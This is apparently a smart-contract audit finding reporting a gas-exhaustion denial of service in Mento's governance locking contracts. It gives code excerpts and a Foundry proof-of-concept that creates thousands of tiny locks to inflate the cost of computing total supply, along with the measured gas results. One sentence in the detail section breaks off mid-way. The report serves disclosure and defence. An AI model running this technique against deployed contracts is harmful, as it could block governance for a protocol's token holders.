Dapper Honey Raccoon

high

# Attacker can DoS the governance execution for all proposals

## Summary

An attacker can DoS the governance execution mechanism by making calls to
`LockingVotes.getPastTotalSupply` gas expensive.

## Vulnerability Detail

The total supply of `veMento` tokens is calculated in the `Locking` contract.
The calculations take every liquidity lines stored in the 

An attacker can create multiple small locks.
For each lock, a line will be added to the total supply in the `Locking` contract.

Then, when a proposal is executed, the governor contract will call `LockingVotes.getPastTotalSupply`
to get the veMENTO total supply at a specific block.

The issue is that this total supply is calculated from a set of lines.
The more lines there are, the more expensive the call to `Locking.getPastTotalSupply` is.

As the attacker can register as much locks as he wants and
that the amount of token for a lock can be low (104 in POC, nothing compared as token is 18 decimals),
the attacker can make the calls to `Locking.totalSupply` and `LockingVotes.getPastTotalSupply` too gas-consuming
that it doesn't fit in one block.

## Impact

**HIGH** Governance proposals can't be executed because of gas required.

## Code Snippet

### Exploit

The attacker can create a lock and delegate it to any address.

The lock is created through [`Locking.lock`](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/Locking.sol#L83):
```solidity
  function lock(
    address account,
    address _delegate,
    uint96 amount,
    uint32 slopePeriod,
    uint32 cliff
  ) external override notStopped returns (uint256) {
    // @POC redacted
    addLines(account, _delegate, amount, slopePeriod, cliff, time, currentBlock); 
```

The [`addLines` internal function](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/LockingBase.sol#L190-L191) is called.
This function will add one line to the total supply.

```solidity
  function addLines(
    address account,
    address _delegate,
    uint96 amount,
    uint32 slopePeriod,
    uint32 cliff,
    uint32 time,
    uint32 currentBlock
  ) internal {
    // @POC redacted
    LibBrokenLine.Line memory line = LibBrokenLine.Line(time, stAmount, stSlope, cliff);
    totalSupplyLine.addOneLine(counter, line, currentBlock); // @POC: a line is added to totalSupplyLine
```

`addOneLine` calls [`_addOneLine` which does multiple times](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L82-L93):
```solidity
  brokenLine.slopeChanges.addToItem(cliffEnd, safeInt(line.slope));
```

So for each lock created, a slope item is added to the total supply.


### Consequences

The governance `execute` flow verifies that a proposal is executable.
This is done by getting the total supply at a block number, and
the quorum threshold is checked to see if enough votes were registered.
The interesting execution flow is:
- `GovernorUpgradeable.execute` --> `GovernorUpgradeable.state` --> `GovernorCompatibilityBravoUpgradeable._quorumReached` --> `GovernorVotesQuorumFractionUpgradeable.quorum`

As the following snippet shows, the `GovernorVotesQuorumFractionUpgradeable.quorum` function
calls `LockingVotes.getPastTotalSupply` to retrieve the total supply at a specific block.

```solidity
    /**
     * @dev Returns the quorum for a block number, in terms of number of votes: `supply * numerator / denominator`.
     */
    function quorum(uint256 blockNumber) public view virtual override returns (uint256) {
        return (token.getPastTotalSupply(blockNumber) * quorumNumerator(blockNumber)) / quorumDenominator();
    }
```

`LockingVotes.getPastTotalSupply` function retrieves the "actualValue" at a past block:
```solidity
  function getPastTotalSupply(uint256 blockNumber) external view override returns (uint256) {
    uint32 currentWeek = roundTimestamp(uint32(blockNumber));
    require(blockNumber < getBlockNumber() && currentWeek > 0, "block not yet mined");

    return totalSupplyLine.actualValue(currentWeek, uint32(blockNumber));
  }
```

The [`actualValue` function](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L252-L269) makes a lot of calculations through `actualValueBack`
and [`actualValueForward` to get the actual total supply](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L282-L304).

These functions both retrieve the slope items stored in `slopeChanges`.
[For example, `actualValueForward` use the following code](https://github.com/sherlock-audit/2024-02-mento/blob/main/mento-core/contracts/governance/locking/libs/LibBrokenLine.sol#L282-L304):
```solidity
    while (time < toTime) {
      bias = bias - (slope);

      int96 newSlope = safeInt(slope) + (brokenLine.slopeChanges[time]); // @POC: gas consumption here!
      require(newSlope >= 0, "slope < 0, something wrong with slope");
      slope = uint96(newSlope);

      time = time + 1;
    }
```

This will retrieve slope items stored in the total supply.

As the attacker can store as much slope items through creating new locks,
he is able to increase the gas needed to retrieve the total supply.

If he registers too much locks, the gas needed to retrieve the
total supply may be greater than the gas amount supported in one block.
Then, proposal executions on the governance contract will never be done.


### Proof of Concept

A proof of concept was created, it shows how an attacker can increase
the gas amount needed to retrieve the total supply.

The POC unit test:

```solidity

  function test_zigtur_attackerCanBreakTotalSupply() public {
    mentoToken.mint(charlie, 10 * (10**18)); // @POC: charlie = attacker

    uint256 firstGasBefore = gasleft();
    locking.totalSupply(); // @POC: No supply registered
    uint256 firstGasAfter = gasleft();
    console.log("Total supply - gas consumption:", firstGasBefore - firstGasAfter);

    vm.startPrank(charlie);
    mentoToken.approve(address(locking), type(uint256).max);
    for(uint256 i; i < 1_000; i++) {
      locking.lock(charlie, bob, 104, 100, 100);
    }
    vm.stopPrank();

    uint256 secondGasBefore = gasleft();
    locking.totalSupply(); // @POC: 1000 lines in supply
    uint256 secondGasAfter = gasleft();
    
    console.log("Total supply - gas consumption:", secondGasBefore - secondGasAfter);

    vm.startPrank(charlie);
    mentoToken.approve(address(locking), type(uint256).max);
    for(uint256 i; i < 1_000; i++) {
      locking.lock(charlie, bob, 104, 100, 100);
    }
    vm.stopPrank();

    uint256 thirdGasBefore = gasleft();
    locking.totalSupply(); // @POC: 2000 lines in supply
    uint256 thirdGasAfter = gasleft();
    
    console.log("Total supply - gas consumption:", thirdGasBefore - thirdGasAfter);
  }
```

It gives the results:

```text
  Total supply - gas consumption: 7440
  Total supply - gas consumption: 449998
  Total supply - gas consumption: 990953
```


## Tool used

Manual Review

## Recommendation

Consider modifying the total supply logic to get rid of lines (note that this seems heavy and hard to implement).

This would avoid an external user to have significant impact on the gas consumption of `getPastTotalSupply` and `totalSupply`.